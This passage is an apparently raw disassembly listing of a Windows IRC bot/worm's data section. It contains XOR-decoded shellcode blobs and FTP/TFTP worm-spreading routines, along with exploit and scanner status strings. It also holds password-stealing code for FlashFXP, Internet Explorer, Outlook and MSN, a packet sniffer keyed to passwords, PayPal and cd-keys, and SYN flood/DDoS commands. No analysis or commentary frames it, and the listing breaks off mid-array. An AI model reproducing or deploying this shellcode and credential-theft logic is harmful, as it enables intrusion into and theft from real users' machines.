sub_41113B+E9o ; sub_41113B+115o ... dword_41C6B0 dd 20303232h, 0A0D2Dh ; DATA XREF: sub_41113B+13o dword_41C6B8 dd 303332h ; DATA XREF: sub_411A09+193o dword_41C6BC dd 53534150h, 0A0D3120h, 0 ; DATA XREF: sub_411A09+11Do dword_41C6C8 dd 313333h ; DATA XREF: sub_411A09+F9o dword_41C6CC dd 52455355h, 0A0D3120h, 0 ; DATA XREF: sub_411A09:loc_411A8Ao dword_41C6D8 dd 303232h ; DATA XREF: sub_411A09+63o unk_41C6DC db 2Dh ; - ; DATA XREF: sub_411BBC+115o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningFtpWorm db '- Running FTP wormride thread',0 align 4 a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_411BBC+6Eo align 10h aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_411D68+36o dword_41C724 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_411DC5+5E2o unk_41C730 db 2Dh ; - ; DATA XREF: sub_411DC5+5BDo db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0 align 10h aWormride db 'wormride',0 ; DATA XREF: sub_411DC5+5B8o align 4 dword_41C76C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_411DC5+367o aOctet db 'octet',0 ; DATA XREF: sub_411DC5+333o ; sub_411DC5+345o align 4 unk_41C788 db 2Dh ; - ; DATA XREF: sub_411DC5+144o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aRunningTftpWor db '- Running TFTP wormride thread',0 aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_4123F6+2Bo align 4 loc_41C7C8: ; DATA XREF: sub_4125DF+50o jmp short loc_41C7DF ; --------------------------------------------------------------------------- loc_41C7CA: ; CODE XREF: .data:loc_41C7DFp mov ecx, 0 xor ecx, 0 pop esi loc_41C7D6: ; CODE XREF: .data:0041C7DBj xor byte ptr [ecx+esi-1], 0 loop loc_41C7D6 jmp short near ptr dword_41C7E4 ; --------------------------------------------------------------------------- loc_41C7DF: ; CODE XREF: .data:loc_41C7C8j call loc_41C7CA ; --------------------------------------------------------------------------- dword_41C7E4 dd 0 ; CODE XREF: .data:0041C7DDj dword_41C7E8 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+CBo dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41C89C dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+8Co dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h dd 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41C964 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h ; DATA XREF: sub_4124A0+36o dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h dd 0BFEA758Bh, 0 ; --------------------------------------------------------------------------- jmp ebp ; --------------------------------------------------------------------------- align 4 dword_41CA18 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h ; DATA XREF: sub_412720+71o dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0) dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch db 0 byte_41CB95 db 0E3h ; DATA XREF: sub_4125DF+CFr ; sub_4125DF+E4w align 4 dword_41CB98 dd 4113E68Bh ; DATA XREF: sub_4125DF+60r ; sub_4125DF+75w align 10h off_41CBA0 dd offset dword_41CC4C ; DATA XREF: sub_4127D0+77r dd offset dword_41CC40 dd 0 dd offset dword_41CC2C dd offset dword_41CC20 align 8 or ah, cl inc ecx add ah, bh retf ; --------------------------------------------------------------------------- dw 41h dd 0 dd offset dword_41CBE8 dd offset dword_41CBDC dd 4 dup(0) dword_41CBDC dd 808FD6DAh, 2 dup(0) ; DATA XREF: .data:0041CBC8o ; .data:0041DA90o dword_41CBE8 dd 0DB999E9Ah, 0D5ABC9FCh, 0BEB1F3E6h, 2 dup(0) ; DATA XREF: .data:0041CBC4o ; .data:0041DA8Co dd 8284D6D3h, 0A9h, 0 dd 0DE999E9Ah, 0DFA09EFCh, 0FDA4EAACh, 0DE91BB92h, 2 dup(0) dword_41CC20 dd 808ED7D7h, 2 dup(0) ; DATA XREF: .data:0041CBB0o ; .data:0041DA78o dword_41CC2C dd 0C3999E9Ah, 0DBBA96ECh, 0BAF0FDA9h, 98B395h, 0 ; DATA XREF: .data:0041CBACo ; .data:0041DA74o dword_41CC40 dd 8381DED3h, 2 dup(0) ; DATA XREF: .data:0041CBA4o ; .data:off_41DA6Co dword_41CC4C dd 0D5999E9Ah, 0CCAB8EF3h, 0B6ACF5A0h, 0CB9EB7D5h, 2 dup(0) ; DATA XREF: .data:off_41CBA0o ; .data:off_41DA68o dword_41CC64 dd 72h ; DATA XREF: sub_412A3A:loc_412B93o dword_41CC68 dd 62h ; DATA XREF: sub_412BC9:loc_412D11o dword_41CC6C dd 63h ; DATA XREF: sub_412D56:loc_412DC8o dword_41CC70 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_412E04+64o dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh dd 2074726Fh, 2343003h, 2037325h, 0 dword_41CCA8 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h ; DATA XREF: sub_412F07+98o dd 74726F70h, 34300320h, 3752502h, 2, 0 byte_41CCD0 db 86h ; DATA XREF: sub_41294E+3Co ; sub_41294E+4Co ... db 85h, 0D8h, 0DDh dd 0AFh, 2 dup(0) dd 0D3000000h, 82D5h, 3 dup(0) db 2 dup(0) dword_41CCF6 dd 9BB5E8F6h ; DATA XREF: sub_41294E+2Br ; sub_412FC6+31r ... dword_41CCFA dd 0 ; DATA XREF: sub_412FC6+57w ; sub_414052+B5r ... off_41CCFE dd offset sub_410649 ; DATA XREF: sub_41294E+1Cr ; sub_412FC6+18r ... dw 3 dd 0 dd 838C0000h, 8EFCC0C3h, 0A6h, 2 dup(0) dd 82D2D600h, 4 dup(0) dd 94C921ACh, 0 dd offset sub_410B52 dd 3, 10h dup(0) dword_41CD80 dd 6E695728h, 293233h ; DATA XREF: sub_41308F+217o dword_41CD88 dd 696E5528h, 2978h ; DATA XREF: sub_41308F+1F1o dword_41CD90 dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_41308F+1DFo aApache db 'Apache',0 ; DATA XREF: sub_41308F+1B9o align 4 aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_41308F+130o aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_41308F+FCo align 4 aServer db 'Server:',0 ; DATA XREF: sub_41308F+7Ao aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41308F+Bo db 0Dh,0Ah,0 align 4 unk_41CDE8 db 53h ; S ; DATA XREF: sub_41349C+5E4o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 3 db 30h, 34h, 2 db 25h ; % db 73h, 3, 2 db 3Ah ; : db 25h, 73h, 20h db 69h ; i db 6Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 30h ; 0 db 2Eh, 32h, 66h db 3 db 2, 73h, 65h db 63h ; c db 2Eh, 20h, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aOpenIpSFound db 'open IP(s) found',0 align 4 dword_41CE2C dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h ; DATA XREF: sub_41349C+55Eo dword_41CE40 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_41349C+343o dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h dd 2037525h, 63657320h, 28646E6Fh, 2973h dword_41CE78 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h ; DATA XREF: sub_41349C+305o dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h dd 297328h unk_41CEA4 db 53h ; S ; DATA XREF: sub_413AB0+1DCo db 63h, 61h, 6Eh db 6Eh ; n db 69h, 6Eh, 67h db 20h db 3, 30h, 34h db 2 db 25h, 73h, 3 db 2 db 3Ah, 25h, 73h db 20h db 66h, 6Fh, 72h db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aSecondSTUSU db ' second(s), t:%u s:%u',0 align 4 dword_41CEDC dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h ; DATA XREF: sub_413CB3+30Eo dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h dd 2E297328h, 0 dword_41CF20 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h ; DATA XREF: sub_413CB3+2B0o dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h dd 2037325h, 2E2E2Eh unk_41CF50 db 2Dh ; - ; DATA XREF: sub_413CB3+31o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0 align 10h aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o dword_41CFA4 dd 3003203Ah, 75250234h, 202E0203h, 0 ; DATA XREF: sub_414052+BBo aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o align 4 aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo align 4 dword_41CFE8 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h ; DATA XREF: sub_4141C1+D8o dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h dd 2E020373h, 0 dword_41D018 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h ; DATA XREF: sub_4141C1+B4o dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h dd 2037325h, 3430033Ah, 3732502h, 202E02h dword_41D050 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h ; DATA XREF: sub_4141C1+78o dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h dd 203736Dh, 2Eh dword_41D080 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h ; DATA XREF: sub_4142BF+D8o dd 30032074h, 73250234h, 203h unk_41D0A0 db 53h ; S ; DATA XREF: sub_4143B0+221o db 63h, 61h, 6Eh db 6Eh ; n db 65h, 64h, 20h db 25h ; % db 73h, 20h, 69h db 6Eh ; n db 20h, 3, 30h db 34h ; 4 db 2, 25h, 30h db 2Eh ; . db 32h, 66h, 3 db 2 db 73h, 65h, 63h db 2Eh ; . db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 6Fh aPenPortSFound db 'pen port(s) found',0 align 4 dword_41D0DC dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h ; DATA XREF: sub_4143B0+1BAo dword_41D0F0 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h ; DATA XREF: sub_4143B0+81o dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h dd 6B636F73h, 73287465h, 29h dword_41D138 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h ; DATA XREF: sub_414600+1BEo dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o ; sub_4147E5+C6o align 4 aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o align 4 aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_4148CE+ABo align 10h aSites_dat db 'sites.dat',0 ; DATA XREF: sub_4148CE:loc_414945o align 4 aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_4148CE+57o aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0 ; DATA XREF: sub_4148CE+15o align 4 unk_41D22C db 2Dh ; - ; DATA XREF: sub_414A1E+464o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 2Fh, 3 db 30h ; 0 db 34h, 2, 25h db 75h ; u db 3, 2, 20h aFlashfxpPass_0 db 'FlashFXP password(s).',0 align 4 dword_41D268 dd 2343003h, 2037525h ; DATA XREF: sub_414A1E+3C4o a_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0 aPass127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+352o db 'Pass=%127s',0Dh,0Ah,0 align 4 aUser127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+338o db 'User=%127s',0Dh,0Ah,0 align 4 aPort127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+31Eo db 'Port=%127s',0Dh,0Ah,0 align 4 aIp127s db 0Dh,0Ah ; DATA XREF: sub_414A1E+304o db 'IP=%127s',0Dh,0Ah,0 align 4 asc_41D2D4 db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: sub_414A1E+2EAo align 10h aPass_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1F4o db 'Pass=',0 aUser_0 db 0Dh,0Ah ; DATA XREF: sub_414A1E+1DCo db 'User=',0 aPort db 0Dh,0Ah ; DATA XREF: sub_414A1E+1C4o db 'Port=',0 aIp db 0Dh,0Ah ; DATA XREF: sub_414A1E+1ACo db 'IP=',0 align 10h asc_41D300 db 0Dh,0Ah ; DATA XREF: sub_414A1E:loc_414BA6o db 0Dh,0Ah db '[',0 align 4 unk_41D308 db 2Dh ; - ; DATA XREF: sub_414A1E+55o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingFlashfx db '- Listing FlashFXP passwords',0 align 10h aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo align 4 unk_41D34C db 2Dh ; - ; DATA XREF: sub_414EF4+B8Ao db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 69h ; i db 73h, 74h, 65h db 64h ; d db 20h, 3, 30h db 34h ; 4 db 2, 25h, 75h db 3 db 2, 20h, 69h aNternetExplore db 'nternet explorer password(s).',0 align 4 dword_41D388 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh ; DATA XREF: sub_414EF4+AD8o dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh dd 203A6574h, 2343003h, 2037325h, 614E202Eh, 203A656Dh dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h dd 2343003h, 2037325h, 2Eh dword_41D3E4 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh ; DATA XREF: sub_414EF4+A2Bo dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h dd 3203A64h, 25023430h, 2E020373h, 74614420h, 3203A61h dd 25023430h, 2E020373h, 0 dword_41D42C dd 70747468h, 2F3A73h ; DATA XREF: sub_414EF4+9DDo dword_41D434 dd 70747468h, 2F3Ah ; DATA XREF: sub_414EF4+9C6o dword_41D43C dd 7274533Ah, 676E69h ; DATA XREF: sub_414EF4+983o ; sub_414EF4+99Ao aStringindex db 'StringIndex',0 ; DATA XREF: sub_414EF4+968o aE161255a db 'e161255a',0 ; DATA XREF: sub_414EF4:loc_415842o align 4 dword_41D45C dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h ; DATA XREF: sub_414EF4+935o dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h dword_41D49C dd 2Ch ; DATA XREF: sub_414EF4+83Bo ; sub_414EF4+852o ... aB9819c52 db 'b9819c52',0 ; DATA XREF: sub_414EF4:loc_4155CEo align 4 dword_41D4AC dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h ; DATA XREF: sub_414EF4+6C6o dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h dd 2037325h, 6150202Eh, 6F777373h, 203A6472h, 2343003h dd 2037325h, 2Eh a5e7e8100 db '5e7e8100',0 ; DATA XREF: sub_414EF4:loc_41550Co align 10h dword_41D510 dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh ; DATA XREF: sub_414EF4+604o dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h dd 2E02h a220d5cc1 db '220d5cc1',0 ; DATA XREF: sub_414EF4+5C2o align 4 aWs db '%ws',0 ; DATA XREF: sub_414EF4+41Co asc_41D560 db '%x',0 ; DATA XREF: sub_414EF4+234o align 4 unk_41D564 db 2Dh ; - ; DATA XREF: sub_414EF4+1A9o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aListingInterne db '- Listing internet explorer passwords',0 align 8 dword_41D598 dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_414EF4+123o ; sub_414EF4+2C7o ... aInternetExplor db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o align 4 dword_41D5CC dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h ; DATA XREF: sub_415B60+277o dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h dd 3732502h, 57202E02h, 646C726Fh, 20664F20h, 63726157h dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h dd 2Eh aSoftwareValveS db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o align 4 aSoftwareMicr_0 db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0 ; DATA XREF: sub_415B60+10Ao align 4 aConquer db '[Conquer]',0 ; DATA XREF: sub_415B60:loc_415C2Fo align 10h aWorldOfWarcraf db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo align 4 aUnreal3 db 'Unreal3',0 ; DATA XREF: sub_415B60+8Co aListingInteres db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo align 4 off_41D6FC dd offset aUser_1 ; DATA XREF: sub_415EB7+32o ; "user " dd offset aUnknown_1 ; "unknown " dd offset aPass_2 ; "pass " dd offset aMailpass ; "MailPass " dd offset aOper ; "oper " dd 0 dd offset aIdentify ; "identify " dd 0 dd offset aAuth_0 ; " :auth " dd 0 dd offset aPasswd_0 ; "passwd=" dd 0 dd offset aUsername_0 ; "username=" dd 0 dd offset aPassword_0 ; "password=" dd 0 dd offset aLogin_1 ; "login=" dd 0 dd offset aPass_1 ; "pass=" dd 0 dd offset aPw ; "pw=" dd 2 dup(0) off_41D758 dd offset aLogin_0 ; DATA XREF: sub_415EB7+54o ; "login " align 10h dd offset aSxt ; "sxt " align 8 dd offset aAuth ; "auth " align 10h dd offset aPasswort ; "passwort " align 8 dd offset aCdkey ; "cdkey" align 10h dd offset aCdKey_0 ; "cd-key" align 8 dd offset aCdKey ; "cd key" align 10h dd offset aPassword ; "password" align 8 dd offset aPaypal_com ; "paypal.com" align 10h dd offset aPaypal ; "paypal" align 8 dd offset aIrcOperator ; "irc operator" dd 0 dd offset aLP ; "l/p" align 8 dd offset aSsh1_5 ; "SSH-1.5" align 10h dd offset aSsh1_99 ; "SSH-1.99" dd 2 dup(0) off_41D7CC dd offset aSetCookie ; DATA XREF: sub_415EB7+76o ; "Set-Cookie:" dd 0 dd offset aSyn ; "syn" dd 0 dd offset aFlood ; "flood " dd 0 dd offset aClone ; "clone " dd 0 dd offset aServU_0 ; "serv-u" dd 0 dd offset aServU ; "serv u" dd 0 dd offset aServu ; "servu" dd 0 dd offset aDdos ; "ddos" align 10h off_41D810 dd offset dword_41D86C ; DATA XREF: sub_415EB7+98o align 8 dd offset dword_41D864 align 10h dd offset dword_41D85C align 8 dd offset dword_41D854 align 10h dd offset dword_41D84C align 8 dd offset dword_41D844 dd 2 dup(0) dword_41D844 dd 54495551h, 20h ; DATA XREF: .data:0041D838o dword_41D84C dd 54524150h, 20h ; DATA XREF: .data:0041D830o dword_41D854 dd 4E494F4Ah, 20h ; DATA XREF: .data:0041D828o dword_41D85C dd 49504F54h, 2043h ; DATA XREF: .data:0041D820o dword_41D864 dd 49544F4Eh, 204543h ; DATA XREF: .data:0041D818o dword_41D86C dd 56495250h, 2047534Dh, 0 ; DATA XREF: .data:off_41D810o aDdos db 'ddos',0 ; DATA XREF: .data:0041D804o align 10h aServu db 'servu',0 ; DATA XREF: .data:0041D7FCo align 4 aServU db 'serv u',0 ; DATA XREF: .data:0041D7F4o align 10h aServU_0 db 'serv-u',0 ; DATA XREF: .data:0041D7ECo align 4 aClone db 'clone ',0 ; DATA XREF: .data:0041D7E4o align 10h aFlood db 'flood ',0 ; DATA XREF: .data:0041D7DCo align 4 aSyn db 'syn',0 ; DATA XREF: .data:0041D7D4o aSetCookie db 'Set-Cookie:',0 ; DATA XREF: .data:off_41D7CCo aSsh1_99 db 'SSH-1.99',0 ; DATA XREF: .data:0041D7C0o align 4 aSsh1_5 db 'SSH-1.5',0 ; DATA XREF: .data:0041D7B8o aLP db 'l/p',0 ; DATA XREF: .data:0041D7B0o aIrcOperator db 'irc operator',0 ; DATA XREF: .data:0041D7A8o align 10h aPaypal db 'paypal',0 ; DATA XREF: .data:0041D7A0o align 4 aPaypal_com db 'paypal.com',0 ; DATA XREF: .data:0041D798o align 4 aCdKey db 'cd key',0 ; DATA XREF: .data:0041D788o align 4 aCdKey_0 db 'cd-key',0 ; DATA XREF: .data:0041D780o align 4 aCdkey db 'cdkey',0 ; DATA XREF: .data:0041D778o align 4 aPasswort db 'passwort ',0 ; DATA XREF: .data:0041D770o align 4 aAuth db 'auth ',0 ; DATA XREF: .data:0041D768o align 10h aSxt db 'sxt ',0 ; DATA XREF: .data:0041D760o align 4 aLogin_0 db 'login ',0 ; DATA XREF: .data:off_41D758o align 10h aPw db 'pw=',0 ; DATA XREF: .data:0041D74Co aPass_1 db 'pass=',0 ; DATA XREF: .data:0041D744o align 4 aLogin_1 db 'login=',0 ; DATA XREF: .data:0041D73Co align 4 aPassword_0 db 'password=',0 ; DATA XREF: .data:0041D734o align 10h aUsername_0 db 'username=',0 ; DATA XREF: .data:0041D72Co align 4 aPasswd_0 db 'passwd=',0 ; DATA XREF: .data:0041D724o aAuth_0 db ' :auth ',0 ; DATA XREF: .data:0041D71Co aIdentify db 'identify ',0 ; DATA XREF: .data:0041D714o align 4 aOper db 'oper ',0 ; DATA XREF: .data:0041D70Co align 10h aMailpass db 'MailPass ',0 ; DATA XREF: .data:0041D708o align 4 aPass_2 db 'pass ',0 ; DATA XREF: .data:0041D704o align 4 aUnknown_1 db 'unknown ',0 ; DATA XREF: .data:0041D700o align 10h aUser_1 db 'user ',0 ; DATA XREF: .data:off_41D6FCo align 4 dword_41D9A8 dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h ; DATA XREF: sub_415F69+5CEo dd 3206D6Fh, 25023430h, 3A020373h, 2343003h, 2037525h dd 73253E2Dh, 2075253Ah, 0 unk_41D9DC db 2Dh ; - ; DATA XREF: sub_415F69+1A6o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 db 2Dh, 20h, 4Ch db 65h ; e db 76h, 65h, 6Ch db 20h db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aPacketSnifferR db ' packet sniffer running',0 align 10h dword_41DA10 dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h ; DATA XREF: sub_41665C+8Eo dd 6E732074h, 65666669h, 72h, 41DA34h, 0DCD88992h, 0CEBA94B3h dd 0B4ACFFE6h, 2 dup(0) dword_41DA48 dd 0A1C21D0Eh ; DATA XREF: sub_40A9CF+843r ; sub_4167F1+54r ... dword_41DA4C dd 0D6AF099Eh ; DATA XREF: sub_4167F1+4Cr dword_41DA50 dd 0ED38F9D8h ; DATA XREF: sub_4167F1+41r dword_41DA54 dd 5D58CED8h ; DATA XREF: sub_4167F1+3Br dd 0 off_41DA5C dd offset dword_41DD44 ; DATA XREF: sub_40E618+1C3r ; sub_40E618+1D5r ... dd 2 dup(0) off_41DA68 dd offset dword_41CC4C ; DATA XREF: sub_40A9CF+7B3r ; sub_40CF2F+82r ... off_41DA6C dd offset dword_41CC40 ; DATA XREF: sub_40CF2F+B8r dword_41DA70 dd 0 ; DATA XREF: sub_40CF2F+D0r ; sub_40CF2F+DFr dd offset dword_41CC2C dd offset dword_41CC20 align 10h or ah, cl inc ecx add ah, bh retf ; --------------------------------------------------------------------------- dw 41h dd 0 dd offset dword_41CBE8 dd offset dword_41CBDC dd 4 dup(0) dword_41DAA4 dd 8F88D9DDh, 81F1C5A2h, 2 dup(0) ; DATA XREF: sub_40D043:loc_40D31Fo ; sub_40D871:loc_40DCB8o dword_41DAB4 dd 73616C23h, 36h, 1Eh dup(0) ; DATA XREF: sub_40332B+1A1o ; sub_4093B6+6Co ... byte_41DB34 db 0C1h ; DATA XREF: sub_40D043+28Cr ; sub_40D043+297o db 85h, 0D8h, 0DFh dd 0F1h, 1Eh dup(0) byte_41DBB4 db 0 ; DATA XREF: sub_40D043+2B3r ; sub_40D043+2BEo align 4 dd 1Fh dup(0) dword_41DC34 dd 3430032Eh, 2036202h, 0 ; DATA XREF: sub_40A9CF:loc_40C4DAo ; sub_40D871+242o dword_41DC40 dd 0D3D58395h, 90FCC9F1h, 